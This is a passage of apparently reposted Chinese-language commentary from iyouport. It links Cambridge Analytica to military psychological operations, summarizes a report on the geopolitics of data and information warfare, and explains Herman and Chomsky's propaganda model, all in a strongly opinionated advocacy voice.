它最初是由 IOTA-Global，BDi 和 SCL Defense（前身为SCL集团子公司）合作提供的为期9周的强化培训，Tatham 在摩尔多瓦和乌克兰重复了这一课程。由于 IOTA-Global 最近解散了其公司地位，Tatham 目前担任SCL集团的国防业务主管。

对于剑桥分析公司的大量媒体报道均缺失了其根源问题所在—— 即它来自*军事工业综合体*的事实。它同样是军事机构，正如英国的军事机构 Etonian Conservatives 一样，杰弗里·帕蒂（Geoffrey Pattie）这位前议会国防采购副部长兼马可尼国防系统总监，曾经是董事会成员，Marland 勋爵—大卫卡梅伦的亲英脱欧前贸易特使，是股东。

Steve Tatham 是英国驻阿富汗部队的 *心理行动* 负责人。The Observer 看到了英国国防部、外交部和北约赞同他的信件。

正如 Carole Cadwalladr 所指出的：“**SCL** / 剑桥分析公司 并不是由几个人用 **Mac PowerBook** 创建的。它实际上是英国国防机构的一部分。现在，美国国防机构也是如此。美国海军陆战队运营中心的前任指挥官 Chris Naler 最近加入了 SCL 集团合伙人 Iota Global。“ 这大概就是为什么 **Wikileaks** 希望能提供对剑桥分析公司内幕的资料以协助英国声称的“调查”但是被英国拒绝。

⚠这就不仅仅是滥用社会心理学和数据分析的问题了。必须从使用军事战略的军事承包商的角度来理解这一点。他们操弄的心理战的工具正在我们所有人身上被使用。

巴斯大学社会学教授，心理学和宣传专家 David Miller 表示，“这应该是一个非常严重的丑闻，就发生在民主国家最关键的部分。对于信息来自哪些选民应该是清楚的，如果它不是透明的或开放的，它会引发一个严重问题，即 我们是否真的生活在一个民主国家？“

纽约大学哲学系副教授塔姆辛·肖（Tamsin Shaw）研究了美国军方的资金和将心理研究用于酷刑的案例。她说：⚠ “这种科学被用来操纵人的情绪的能力已经非常明确了。这是军事部门资助的技术，已被全球的富豪统治所利用，并被用来以人们甚至完全看不到的方式来影响选举，人们甚至完全没有意识到正在发生什么。“

“它是关于利用民族主义等现有现象，然后利用它来操纵边缘人。允许一大批国际富豪掌握如此多的个人数据，他们的意愿绝对令人不寒而栗。“

“我们正处于严重的信息战中，亿万富翁正在收购这些公司，然后这些公司被雇用到政府中心工作。这是一个非常令人担忧的情况。“

我很同意这点。我们普遍认为，破坏我们民主制度的完整性和所谓的西方自由民主国家的公民权利所受到的操纵和制约的力量就隐藏在视野之内。

⚠这个问题远远超过 **Facebook** 和剑桥分析公司之行为的揭露。公司实体和政府对公民的心理操纵现在已经成为常态！主流媒体将注意力放在 Facebook 身上是避重就轻的。

就从我们接受政府向公众强加“行为改变”议程是合法的那一刻开始，它已经变成了了一个大滑坡，变成了私人既得利益的粪坑、一党制国家、公司制、暴政、以及最终的极权主义治理形式。

Cambridge Analytica / Facebook 丑闻仅仅是第一个’案例研究’。这是一个更基本问题的症状。⚠ 大规模监视、数据剖析和行为改变战略，都嵌入在企业部门里，现在正以一种挑战自由民主社会政治传统的方式使用，其中*公民*在传统上由自决原则来定义—— 心理操纵的诡计正在消除公民的概念。

由于公民自决权被根本性侵蚀了，政治诚信和民主主权的未来正在遭受严重破坏。通过企业和政治实践的不透明性来创造、重建和放大权力不平衡，通过 监视、数据收集、心理剖析和心理定制的信息，旨在操纵公民的观念、决策和行为，最终严重限制了公民的选择。

点击这里看到大图。

在这里看到视频：

The government hired several murky companies plying the same methods as Cambridge Analytica in their election campaign: The

moment that we accept that it is legitimate for governments to impose a ‘behavioural change’ agenda on the public, it becomes a slippery slope from there into a cesspit of private vested interests, one-party states, corporatocracy, tyranny and ultimately, to totalitarian forms of governance.

原文

所有信息都是战略性的：信息地缘政治 - iyouport

关于高堡奇人心理战和信息战长读

【2020年6月11日存档】中国的GFW并非完全是阻碍认知的用意，这仅仅是其一小部分目的。

信息是当今世界上最重要的、也是最有争议的地缘政治资源。

多年来，全球最赚钱的企业都断言数据是 “新石油”。政治运动以及各种选举操纵都表明，数据驱动的社交媒体是控制舆论的关键。

领先的科学家和技术专家都了解，好的数据集，而不仅是算法，还将赋予他们竞争优势。

数据驱动的创新不仅破坏了经济和社会，而且，它正在重塑国家之间的关系。对信息权力的追求 —— 涉及国家使用信息来影响、决策、创造和交流的能力 —— 导致国家重写其与市场和公民的接触条款，并重新定义国家利益和战略重点。

简而言，信息权力正在改变国际关系的基本组成部分 —— 国家 —— 的性质和行为，并可能带来严重的破坏性后果。

威权政府认识到信息的战略重要性，并且在过去五年中已实施了强大的国内外信息战略。

- 推荐这个报告《看清信息战：2019全球有组织社交媒体操纵清单》

他们不仅严格控制本国内的信息环境，并且从全球信息流中隔离其公民，同时将信息武器化作为攻击和破坏性的工具。

特别是，中国和俄罗斯认为21世纪的战略竞争的特征是对数据控制以及将数据转换为有用信息所需的技术和人才的零和竞赛。

自冷战结束以来，美国在信息技术领域的至高无上地位似乎无懈可击——尤其是因为它在创造这个集中化互联网本身和整体经济主导地位方面发挥着核心作用。

信息是力量的来源

「图」

由于数据驱动技术的最新发展，信息对当今世界的事务比历史上任何时候都重要。

这些进步彻底改变了信息力量的四个主要方面：影响其他参与者的政治和经济环境；创造经济增长和财富；使决策者具有超越竞争对手的优势；并快速安全地进行交流。

首先，互联网的全球渗透彻底改变了信息影响其他参与者的潜力。

宣传与战争本身一样古老，并且已经被广告公司和公关专家用来操纵消费者的行为至少有一个世纪之久。

- 《操纵式宣传：五个过滤器和识别线索》
- 《摆脱操纵和宣传：28个长期技巧》
- 《在线宣传战的结果》很推荐这篇访谈

上图中这本书在这里下载：https://t.me/iyouport/6835

数字网络和社交媒体平台的广泛采用极大地扩展了国家影响力运营的规模、广度和地理范围。

在未来五年中，自动化和人工智能（AI）的进步将使信息战操纵者能够更有效地在自动化的基础上开展大规模影响力运动，将那些最易受操纵的个人和群体作为微观目标，从而不断改进其战术和信息基础；并以廉价且快速的方式通过计算机生成伪造的视听材料。

- 《开源情报和取证学如何对付“深度造假”？（有很多视频）》

其次，机器学习的进步使实体能够访问大量原始数据以做出更好的决策。

数据对人类的价值一直受到“信息超载”问题的限制：也就是说，人类可以收集多少信息是有限度的，而且，我们拥有的信息越多，就越难以理解它。

举例来说，1880年美国人口普查只问了26个问题，却花了8年时间；即使是20世纪的机器也难以快速处理大量信息，这意味着决策通常取决于有限的数据集、直觉，或两者兼而有之。

然而如今，计算机处理能力和机器学习的进步正在解决信息过载问题。确实，机器学习系统在面对庞大的数据集时效果最佳，因为大量的初始 “训练” 数据和持续的 “反馈” 数据使它们能够随着时间的推移完善其算法以产生更好的输出。

同时，全球数十亿个功能强大的计算机传感器已嵌入联网的个人、家用和工业设备中。在大数据专家 ViktorMayer-Schönberger 和 Kenneth Neil Cukier 称之为“数据化”的现象中，曾经丢失的或根本未被观察到的信息现在被精心地收集和分类。

第三，数据和信息现在在国家创造对发达经济体至关重要的财富和繁荣的能力中发挥着核心作用。

2017年5月，当《经济学人》认为数据已取代石油成为 “世界上最有价值的资源” 时，该杂志正在吸引一个强大的时代精神。

此后，从纳伦德拉·莫迪到安倍晋三和安吉拉·默克尔等世界领导人纷纷宣布，数据将是**21**世纪经济增长的最重要驱动力。

一些分析师走得更远。ViktorMayer-Schönberger 预测，“数据资本主义” 将最终取代金融资本主义，成为全球经济的组织原则。

当然，目前其核心业务涉及获取、处理和使用数据的公司几乎完全构成了全球最有价值的十大上市公司之一 —— 监视资本主义体制。

如今，发达经济体中几乎每个行业都在使用或探索以数据为驱动的机器学习应用程序。

但是，尽管公司在数据分析方面押了很大的赌注，但麦肯锡全球研究所估计，他们目前只意识到了数千亿美元的经济机会中的一小部分。

数据分析中创造价值的大多数潜力将在未来几年中继续扩展，将数据定位在未来数十年的全球经济竞争的中心。

第四，不言而喻的是，互联网、移动设备和相关技术的进步彻底改变了参与者交流信息的能力的速度、规模和范围。

对于大多数历史而言，快速安全地进行通信的能力是信息能力的最重

要方面。在拿破仑战争期间，皇家海军上将 Lord Cochrane 就因摧毁了法国的信号灯塔从而为英国占领了主动权。

沟通渠道不仅对军队很重要。在19世纪，罗斯柴尔德家族的泛欧商业代理和快递网络为当时世界上最富有的商业帝国提供了无与伦比的竞争优势：独家获得财务和政治信息的机会。

在21世纪，建立和保护或破坏信息流的能力将继续在世界事务中发挥决定性作用。

新的伟大游戏

「图」

信息在经济和政治上日益重要的地位正在影响各国的政策选择和优先事项，进而影响着它们如何行使权力、竞争、以及如何为21世纪的冲突做出准备。

在信息地缘政治带动世界事务的时代，信息的重要性不断提高有四种方式。

所有信息都是战略性的

「图」

Robert Keohane 和 Joseph Nye 在1998年的《外交事务》杂志上发表了有关信息的地缘政治重要性不断提高的文章，区分了三种类型的信息：免费、商业、和战略性信息。

他们将免费信息定义为个人在网上互动中自愿放弃的个人信息。而诸如知识产权（IP）之类的商业信息仅与企业相关。

只有一小类信息（例如 所谓的国家机密的“战略性信息”）会引起政府的关注，并且与世界事务相关。

但是如今，Keohane 和 Nye 曾经提出的类别已经越来越模糊。现在，每条信息都具有战略性的潜力。

商业IP对当今政府的战略重要性相对不言而喻。比如 **Facebook 的秘密算法**可以让当权者更好地掌握操控大众认知的能力，以及瞄准战斗人员。这只是仅举一例。所有寡头公司都有一套这种秘密算法，它能

控制从人脑到汽车到家用电器的几乎一切。

值得注意的是，国家不仅对商业软件感兴趣。无数类型的公司实体持有的原始数据同样具有重要的战略价值。看美国的用法：

- 长读报告《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

机器学习现在正处于发展阶段，不再需要技术过硬的人来编写好的学习算法了；相反，开发人员最需要的是大量高质量的数据，以随着时间的推移训练和优化算法。

有关自然和建筑环境以及物流、卫生、制造、金融服务和消费品公司持有的人类行为和心理的数据，都会被用来训练算法，使国家有能力在未来的物理、电子和情报领域占据主导地位。

☞ 这就是为什么中国有GFW —— 这是地缘政治斗争，数据垄断权的斗争，而不仅仅是挡住当局不想你知道的东西。我们在去年谷歌蜻蜓事件的分析中已经讲明了这点，见：

- 《为什么说 Google 搜索能否成功回归中国市场根本不重要？》

而且不止中国，这也是各个国家对访问（或窃取）商业信息具有浓厚兴趣的原因。

个人信息也可能具有明显的战略意义。间谍和破坏者一直对政治和军事领导人的个人生活感兴趣。但是这些活动历史上一直受到人类操作人员收集和解释情报的能力的限制。

数字化极大地增加了情报人员可用信息的广度和深度。

Fitbits、与 GPS 相连的电话，与互联网连接的心脏起搏器、以及无数其他设备，编织出了丰富的情报网络。在2018年，政府赞助的骇客针对并成功窃取了新加坡总理的大量健康记录，目的尚未揭露。

而且，由于计算机现在可以理解庞大的数据集，因此与政府相关的所有人，而不仅仅是高级领导人，都是潜在的外国情报目标。

⚠ 就算是普通公民的私人信息也具有战略利益。有关个人情绪状态、信仰、偏好、和社会关系的信息，可用于操纵这些人的思维和行为方式。

上图中两份文档在这里下载：

1、https://t.me/iyouport/6847；2、https://t.me/iyouport/6848

- 看看他们是如何通过互联网操纵人们的《心理操纵的秘密：”行为经济学”＋PR＝？》

政治竞选活动大量投资于有关选民的个人信息，并使用数据分析软件将其竞选信息微定位。

- 特朗普的竞选经理 Parscale 承认支出可能达到了**10**亿美元《选举运动的数字化斗争: 2020 Presidential Race》

Google 和 Facebook 建立了历史上最成功的两个商业帝国，这是基于它们能够操纵消费者的个人信息中获利，以改变人们在线行为和现实决策的能力。

- 谷歌的做法《看不见的独裁》

当然，如果政党和寡头公司都可以使用这些个人信息来操纵公民的信念和决定，那么国家也可以。

即将到来的 AI 研究浪潮将帮助计算机以越来越 “自然” 和有说服力的方式，大规模地、实时地与人类交互。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

⚠ 结果就是，*计算性宣传* 可能会变得更加普遍和有效，成为国家影响力运动的关键工具，而与世界事务关系不大的日常公民的个人信息，也将成为更具战略意义的 “资源”。

- 什么是 “计算性宣传”？这个世界的当权者正在干什么？《看清信息战：2019全球有组织社交媒体操纵清单》

信息重商主义的兴起

「图」

政府越来越多地保护和控制与信息相关的寡头公司和基础架构。至少，鉴于数据在创造经济增长和财富中所扮演的角色，所有国家都有明确的经济利益以创建监管环境，这将有助于其数据丰富的经济部门的蓬勃发展。

此外，尽管数据无形，但有效获取和使用数据的能力与传统的地缘政治因素（例如人口规模）密切相关。

正如一位印度政客所说："印度没有稀土、几乎没有石油、甚至没有足够的水。但是我们拥有足够多的人民 …… 这使印度潜在地变得了非常富有所谓的"新石油"的国家。

- 这就是为什么印度是中美高堡奇人争夺战的关键战场，中美两国都在拼命从印度争取数据《入侵印度》

同样，百度前首席运营官陆奇预测，中国庞大的数字化沉浸人口将为他的国家提供成为世界一流技术所需的原始数据需求。

越来越多的国家都认为，它们在获取和使用数据方面处于零和竞赛。

当然，信息时代最大的成功故事是那些垄断者，Alphabet（谷歌的母公司）、Facebook、亚马逊、阿里巴巴和腾讯。

印度总理 Narendra Modi 将这种商业现实转变为地缘政治，认为 "无论谁获得和控制" 数据都将实现 "霸权"。

风险资本家李开复在其最新著作《人工智能超级大国》中预测，中国在人工智能领域的领先地位将不断扩大，不仅将确保 "权力平衡向中国倾斜" ，而且会加强中国的 "政治影响力和'软实力'，并巩固其在全球的文化和思想足迹"。

俄罗斯的普京（Vladimir Putin）也赞成这一零和观点，并在2017年就宣布了 "成为[人工智能领域]的领导者将成为全世界的统治者。"

现在，大多数发达经济体都制定了国家人工智能战略。其中中国的计划最为突出，该计划旨在通过政府补贴和激励措施相结合，到2030年将中国推向人工智能领域的世界领先地位。

这种 "赢家通吃" 的精神意味着各个国家不仅希望更多地产生数据，还希望获得更多信息。他们也有兴趣限制或排除其他国家访问这些数据。

2016年11月，中国颁布了一部全面的网络安全法，该法律允许政府对公民生活的几乎每个方面进行监视，同时还限制了外国公司在中国访问数据的权限。俄罗斯和印度也引入了严格的 "数据本地化" 法律，该法律要求大量个人和商业数据只能在其领土内存储和处理。

- “数据保存在本地” 为什么成为一个潮流？它的影响是什么《互联网主权的全球崛起：这意味着什么？》

更为有害的是，在这个零和游戏中，数据盗窃也是一个重头戏。各国当权者都有动机赞助或至少对本土公司的数据窃取视而不见。企业数据窃贼可以为渴望数据的国家政权创造双赢的结果。

考虑一下2017年信用报告巨头 Equifax 的大规模数据泄露事件，其中黑客窃取了至少1.43亿美国人的财务和个人信息。有证据表明，这种黑客行为是由国家行为者发起的。

正如李开复所写的那样，中国的数字沉浸式消费者正在向中国的电子商务巨头提供大量的数据，但中国的银行、保险和医疗保健行业落后于美国的同行，后者在收集、分类和货币化业务方面有着丰富的经验。

还有证据表明，由政府资助的黑客一直在针对全球一些最大的健康保险、法律和其他传统服务行业进行重大黑客攻击，而且这一趋势可能会加速。

保护和投资于其信息产业可能不仅是各国的经济选择；而且具有战略意义。

现在，技术创新主要来自私营部门，然后才应用于军事或情报领域（军事工业综合体）。自2015年左右以来，这些动态推动了发达经济体法律和政策变革的步伐加快。

从2015年开始，美国国防部认识到，要想保持世界上最强大的军事力量，就必须与硅谷和科技领域“重建桥梁”。

- 请注意，是重建，因为这些硅谷巨头当年就是因为与情报部门的密切合作才得以获得最大资源形成今天的垄断地位《解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？》

在国防部长 Ash Carter 的领导下，五角大楼在美国的技术中心建立了新的前哨基地，致力于为军方找到新的方法来利用大数据和支持AI的技术。

另一面，在习近平的 “军民融合” 学说下，私有和学术领域拥有的任何技术（无论是本地开发还是进口的）都必须与中国军方共享。

信息盗窃、操纵和破坏的兴起

「图」

信息在世界事务中的重要性日益提高，这加剧了古老的冲突，并为国家冲突创造了新的媒介。

我们已经看到，数据在经济和战略上的重要性可以激励各个国家赞助对竞争对手国家的公司的网络攻击和工业间谍活动。

此外，计算技术的进步，尤其是机器学习的进步，使国家能够利用信息以前所未有的规模和效果来影响、操纵和胁迫。

信息地缘政治的这一特定方面在 2017 年《美国国家安全战略》中脱颖而出，该战略用了整整一章专门讨论 “信息治国方略”。

这两种趋势的实际结果是，美国和中国等竞争者越来越多地采取措施使经济各方面脱钩、扭转或至少遏制全球化，自冷战结束以来，全球化一直是经济世界秩序的主要原则。

甚至英国国防部也警告说，民主国家将来可能需要更加谨慎地平衡数字开放性和控制性，包括考虑 “国家或地区网络边界” 以防御信息空间中的威胁。

中国也一样。通过广泛的互联网审查和宣传体系，以及对外国媒体和科技公司的市场准入限制，北京已经加大了控制力度。

2019年，俄罗斯互联网服务提供商已经实践了将俄罗斯互联网与全球互联网 “断开连接”；作为国家战略的一部分，该战略还旨在确保到2020年，其国内互联网流量的95%永远不需要离开俄罗斯的边界。

美国立法者也在考虑采取进一步的行动，由两党组成的强大的参议院情报委员会已经向 Facebook、Google 和 Twitter 施加了公众压力，以检测外国操纵为借口，排斥外国人的现象可能会更加严重。

数字破坏活动也正在逐渐成为国际冲突的新载体。到目前为止，大多数国家支持的网络攻击都是为了窃取信息或削弱通信或计算系统的可用性。

但是，随着技术的进步迅速提高了人们将数据转化为决策的能力，并且越来越多的实体采用了这些类型的技术，我们应该预料，针对数据本身完整性的网络攻击将急剧增加。

如今，越来越多的决策（从新闻和社交媒体供稿中显示的内容到保险、贷款和投资评估，以及政府和司法机构的初步决策）都通过自动化和/或AI代理进行机器辅助。决策辅助系统依靠数据进行操作，使其成为数据“中毒”攻击的薄弱目标。

破坏或操纵对手赖以生存的数据供给，他们的输出就将被破坏，这可能是依赖这些数据的个人或机构所不知道的。

就如震网病毒感染了控制伊朗纳坦兹核电站核离心机的计算机，是此类数据完整性攻击的早期例子。

随着世界上越来越多的政治、商业和个人决策被机器所取代，数据完整性攻击的目标将变得越来越广泛，潜在的规模也将越来越大。

利用数据完整性攻击，国家对手可以通过巧妙地改变市场、军方、政府和法院的决策，来推进自己的议程，或损害竞争对手。

数据完整性攻击不一定要成功就可以造成破坏。甚至仅仅是认为输入到机器辅助决策中的数据已被破坏的感觉，就已经可以严重破坏对市场、政府或民主本身的信心。

信息专制主义者的兴起

「图」

对信息权力的追求不仅直接改变了国家之间竞争和冲突的方式，而且还改变了政府与本国公民的关系。反过来，这很可能会改变国家之间的行为。

除了道德问题之外，威权政府能够巩固对公民经验和互动的控制，能够识别和惩罚异见者，甚至所谓的再教育，其前景可能对国际关系产生三大影响。

首先，随着政权的合法性越来越取决于审查和操纵，信息独裁者可能会将信息控制视为国家的核心利益，甚至包括经济和物质安全利益。

这种动态增加了外交僵局和无意升级的风险。

例如，民主国家将其媒体组织、公司、教育和公民社会网络视为私人活动的情况，可能被信息独裁者视为对国家安全的威胁或蓄意的挑衅，并对此作出回应。

中国已经表明，愿意对美国公司采取攻击性的网络措施；俄罗斯战略家认为，针对阿拉伯之春和“颜色革命”的基层运动和社交媒体抗议反映了西方不定期战争的一种形式。

其次，信息独裁者更有可能从事强制性或攻击性行为。

如果领导人赞成侵略，那么公众辩论的空间可能会更少，无法再质疑、深思或以其他方式阻碍领导人的决策。

第三，至少在短期内，信息专制模式可能会吸引实力较弱的国家，从而导致信息专制主义的扩散和联盟性结构的转变。

面临内部矛盾的国家可能会发现信息专制模式提供的社会控制更具吸引力，并希望有实力更强的信息专制成为潜在的伙伴。

正如 Samuel Huntington 所言，政治、经济或军事力量的增强可以使一种意识形态（在这种情况下，是一种政府模式）更具吸引力，而在这种模式成功可能性相对较小的国家中，人们则加剧了自我怀疑。

如果人们误认为信息专制主义产生了一个更加和谐的社会并提高了经济生产力，可能会导致人们对它的主要采用者的实力产生幻觉。

反过来，这甚至可能导致民主国家寻求与专制主义者的更紧密联系。同时增加了民主国家内部的幻灭感和动荡。

糟糕的是。信息独裁者的不可持续的短期利益导致了世界事务更加持久的变化。

结论

「图」

关键的技术进步开创了信息地缘政治的新时代。这正在改变国家与公民和彼此互动的方式、重新定义其国家利益和战略重点，以及将权力投射到世界舞台上。

特别是，相信数据驱动型经济是赢家通吃的环境，这一信念正在将各个国家及其国内产业拉近距离。

[注] 我们删除了一部分透露技术国家主义色彩的内容，但这份报告的确说出了关键问题。原报告在这里：https://www.belfercenter.org/sites/default/files/2019-08/GeopoliticsInformation.pdf

原文

操纵式宣传：五个过滤器和识别线索 - iyouport

心理战和信息战

【2019年7月4日存档】人工恐惧的创造方式具有双重目的：一边是为了摆脱你不喜欢的人，另一边则是吓唬其余人。当人们受到惊吓时，他们就会依附于权威。

审查是宣传的基础，审查造成宣传、宣传反过来再促进审查。

正如 IYP 曾经在独家消息中所分析的，审查并不必需一个“中宣部”，而中国目前已经掌握到了这一关键操作点。反审查的社区和活动家群体应该尽快跟上当局的变化速度。

反审查是透明度革命启动的媒体改革中最重要的目标这一。更多详见《大部分审查并非如你平日的吐槽对象那般显而易见—— 为自由而战（二）》。审查在呈现不完整的和扭曲的“现实”，审查存在的地方都是宣传，而难以有真相。

中国最近正在火热主张的“融媒”想要利用的是一个被称为 **propaganda model** 的理论，当然，这次是在算法专制的基础上加强它。

“宣传模型”是爱德华·赫尔曼（Edward S. Herman）和诺姆·乔姆斯基（Noam Chomsky）提出的政治经济概念模型，用于解释宣传和系统性偏见在企业大众媒体中的作用 —— 即 主流媒体。

该模型试图解释人口是如何被操纵的、以及操纵者如何通过这种宣传在公众心目中“制造”对经济、社会和政治政策的同意。

因为，企业媒体的结构方式会产生内在的利益冲突，这种利益冲突本身就起到了非民主力量的宣传作用 —— 也就是说，真的不需要中宣部也能达成同样的“作用”。

这一模型的提出最早出现在1988年出版的《Manufacturing Consent:

The Political Economy of the Mass Media》“制造共识”一书中，

Chomsky 在描述媒体的“社会目的”时写道，“……除了边缘元素或相对模糊的学术文献之外，必须严格忽视对制度及其运作方式的深入研究”。该理论假定了五种一般类别的“过滤器”，它们决定了在新闻媒体中呈现的新闻类型。

这五个类别是：媒体所有权、盈利模式、采购关系、过度抨击和“恐惧意识形态”。下面逐一分析这些类别，您将更容易理解为什么审查并不需要中宣部。

1、所有权

主流媒体公司的庞大规模和寻求利润的饥渴产生了明确的偏见。

在19世纪早期，出现过一个激进的英国媒体，解决了工人们的担忧。但是，过度的印花税出现了，旨在将报纸所有权限制为“受人尊敬的”富人群体，开始改变了新闻界的面貌。尽管如此，那个年代仍然存在一定程度的多样性。

在第二次世界大战后的英国，激进的或工人友好的报纸，如“每日先驱报”，“新闻纪事报”，“周日公民报”（自此后便失败了或被其他出版物收购了）还有“每日镜报”（至少活到了20世纪70年代后期）都在定期发表文章质疑资本主义制度。

它们的共同特点是，这些早期的激进派报纸并不受公司所有权的约束，因此可以自由地批评资本主义制度。

而目前的主流媒体，全部都是大公司和大企业集团的一部分，它们向公众提供的信息将必然由于这些利益关系而产生偏见。

这些企业集团经常超越传统媒体领域，因此具有广泛的经济利益，他们会很担心曝光一些真相。也是为什么这些企业集团都倾向于将主流传媒机构收入靡下，因为只有这样他们才能继续操纵大众对“事实”的认识。

换句话说，一切最能危害拥有媒体的寡头之经济利益的新闻项目，都将面临最大的偏见处理和审查。

如果最大化利润意味着牺牲新闻的客观性，那么最终能生存下来的新闻来源*必须*从根本上带有偏见。

2、盈利模式

第二个过滤器是广告收入为主的盈利模式。大多数报纸都必须吸引广告才能支付生产成本；如果没有足够多的广告，他们将不得不提高报纸的价格。

整个传媒业都在激烈竞争，争的目标不是真实性和专业性，而是吸引多少广告商。与竞争对手相比，广告收入较少的报纸处于严重的劣势。

十九世纪和二十世纪死掉了很多真正代表工人阶级利益的报纸，都是因为缺乏广告收入而饿死的 —— 显然，贫苦的工人阶级不是广告的完美消费者，他们需要联合对抗的富人阶层才是。

根据这个过滤器，新闻是一种“填充物”，广告才是主题，目的是使特权读者看到构成内容的广告，并因此采取任何最有利于吸引目标受众的形式。

于是，任何与“买家情绪”相冲突的内容，比如边缘化社区、少数族裔的声音、反抗力量等等内容，都会被排斥；因为它们与广告商的利益相冲突。结果是，在读者眼中出现的世界并不是真实和完整的。

简单说，购买报纸的人是销售给购买广告空间的企业的*产品*；而新闻作为“产品”只要能吸引到眼球就行了，无所谓事实真相和公民知情权。

如今，最大“媒体”—即 吸引广告的黑洞是监视资本主义寡头谷歌和Facebook，于是，和传统的媒介理论一样，这个互联网的经济模式正在杀死异议。换句话说，我们将只剩下官方生成的和批准的政治宣传、以及”被允许”的异议。详细分析见《异议的消亡：为什么网络变得同质化》

已经悲催到极致了，然而，这些还不是全部。

3、采购关系

第三个过滤器更加致命，与大众媒体新闻的采购有关：“大众媒体通过经济必要性和利益互惠而与强大的信息来源形成共生关系。”

即使像BBC这样的大型媒体公司也无法在任何地方安置记者。他们只将资源集中在可能发生新闻故事的地方：白宫、五角大楼、唐宁街10号、和其他所谓的中央新闻“终端”。

某国际大型传媒集团的记者在中国“一带一路”高峰论坛期间于中国的社交媒体上发布了多张该论坛内部的照片。我们的记者留言表示：“人们对里面的事不那么关心，请关注下外面的状况，外面正在封路，去听听老百姓的埋冤吧”。显然，没有被回复。对于这些大型企业媒体而言，“老百姓”的心声是微不足道的，权势财团才是与它们产生共生关系的关键。

您还觉得主流媒体长期关心马云、王健林的小心思而无视民间反抗力量和苦难这件事“很奇怪”吗？

顺便说，将马云收购南华早报解释为中宣部的渗透至少是不全面的，收购主流传媒只是作为大型企业的必经之路；阿里巴巴首先是寡头，其次才是“党员”，当然，中国执政党一直在努力将这一顺序颠倒过来。

这在绝大多数国家都一样。虽然英国报纸可能偶尔抱怨新工党的“spin-doctoring”，但它们依旧要依赖于“总理的个人发言人”对政府新闻的声明。

商业公司和贸易组织也是这一共生关系中的主体。冒犯这些强大新闻来源的编辑和记者（通过质疑所提供材料的准确性或偏见性）很可能会而受到威胁。

媒体已经不愿意发表会损害企业集团利益的文章，这些利益为他们提供了他们所赖以生存的资源。

这种共生关系也导致了“道德分工”，其中官员被赋权拥有并提供了所谓的“事实“，记者只是“得到了“它们。然后，记者采取的是不加批判的态度，使内容能够有利于企业价值而不会遇到认知失调。

4、过度抨击

这就是第四个过滤器 ‘flak’，即 对媒体声明或[电视/广播]节目的否定回应。采取的形式包括信件、电报、电话、请愿、诉讼、演讲和法案的形式，在国会和其他地方‘投诉、威胁和惩罚的行动’。[“The Decline of the Global Climate Coalition”]

商业组织经常聚集在一起形成高射炮机器。一个例子就是美国的全球气候联盟（**GCC**），包括化石燃料和汽车公司，如埃克森、德士古和福特等。

这个 GCC 由全球最大的公关公司之一美国博雅公关公司（Burson-

Marsteller）发起的，目的就是攻击气候科学家的可信度、将全球变暖的警告称为“恐慌故事”。[在这里看到：美国博雅公关公司帮助中国海康威视的美国子公司完成“战略规划和指导”等任务《可怜正义没有钱》]

‘flak’ 是指对媒体声明或节目的否定回应。 这个术语被用来描述那些诋毁组织或个人的努力，这些组织或个人由于不同意或怀疑有利于既定权力的普遍假设，而成为被攻击目标（例如反权威和反建制的社会组织或个人）。

5、恐惧意识形态

这个过滤器就非常简单了，任何了解冷战中史上最强大的心理战历史的人都明白它意味着什么。它也是西方公民社会对主流媒体的抨击中一个最大的目标。

恐惧意识形态让媒体成为了政权信息战中的武器。

制造恐惧有一种特别高效的作用，我们有过具体分析，详见《警惕微妙的劝导术：恐惧诉求—— 埋下情绪 操控思想》；人工恐惧的创造方式具有双重目的：一边是为了摆脱你不喜欢的人，另一边则是吓唬其余人。当人们受到惊吓时，他们就会依附于权威。

当前的伊斯兰恐惧症正在成为新的“恐惧意识形态”来源。

> So I think when we talked about the “fifth filter” we should have brought in all this stuff—the way artificial fears are created with a dual purpose… partly to get rid of people you don’t like but partly to frighten the rest.

宣传是为了操纵人群。对人群的操纵在人类历史上可以追溯到公元前5世纪，锡拉丘兹的诉讼当事人试图在法庭上提高他们的说服力。[Aristotle, The Art of Rhetoric, translated with an introduction by H.C. Lawson-Tencred (New York, NY: Penguin Group, 2004): 1–13.；Cheryl Glean (1997). Rhetoric Retold: Regendering the Tradition from Antiquity through the Reniassance. Illinois: SIU Press. pp. 33, 60.]

操纵意味着“通过巧妙的、不公平的或阴险的手段来控制或玩弄目标群体/个人，特别是为了自己的优势。” 听起来很消极。但是必须澄

清，人群操纵并非完全贬义的。

政治就是这样一种东西，即 在正确的意义上是“正确的东西并不足以让你赢得胜利。是*政治技术*在决定政治成功。要想成功需要了解如何组织和如何沟通的技术。大多数政治技术都是哲学中立的。

“你应该学习如何获胜，这是你的理念” —— 这句话是 Morton C. Blackwell 在一个著名的相关演讲中所说的。也许听起来特别马基雅维利，不过从一个平衡的角度上看，它是事实。就如 IYP 介绍的社会行动技巧（下个月还有更多具体介绍）。但必须平衡，如果你使用阴暗的手段即便达成了正义的目的（也许很难达成）也不会持久立足。

与宣传的结盟 ——

人群操纵者和宣传者的结盟可以达成更高的效果。

根据 Edward Bernays 的说法，宣传者必须让他的目标群体预先测试一条信息。消息本身必须提前试水，因为无效的消息比没有消息更糟糕。

社会科学家 Jacques Ellul 将这种试水活动称为“前宣传”，如果要使主要信息有效，这一点就至关重要：

> 旨在改变观点和态度的直接宣传必须具有先前宣传，这种宣传具有社会性、缓慢性、一般性，目的是寻求创造气氛，有利于初步态度的氛围。没有预先宣传，任何直接宣传都不会有效……

Jacques Ellul 在《宣传：人的态度的形成》一书中将社会宣传比作耕作，将直接宣传比作播种，也就是说，如果没有前者，后者即便再卖力也是结不出果实的。

社会学宣传是一种社会寻求通过根据一种模式统一其成员的行为，渗透其生活方式，从而将其自身强加于其目标群体，将最大数量的个体融入宣传目标自身的现象。

基本上社会学宣传旨在通过利用所有社会潮流，通过长期渗透和渐进适应来发展对既定秩序的遵守或捍卫，从而增强一致性。

该宣传的要素是渗透个人的生活方式，然后，个人就会开始在电影、写作或艺术中表达它，而没有意识到它压根不是自己的想法。

这种非自愿行为通过广告、电影、教育和杂志在社会中扩张。“无论是有意的还是无意的，整个人群都在以这种方式表达自己；并且其次表明，它的影响力更多地体现在整个生活方式上。”

这种类型的宣传有可能不是故意的，而是在文化或国家内自发地或不知不觉地涌现出来。这种宣传强化了个人的生活方式，并将这种生活方式表现得最好。社会学宣传为个人根据个人生活方式做出的善恶判断创造了无可争议的标准。

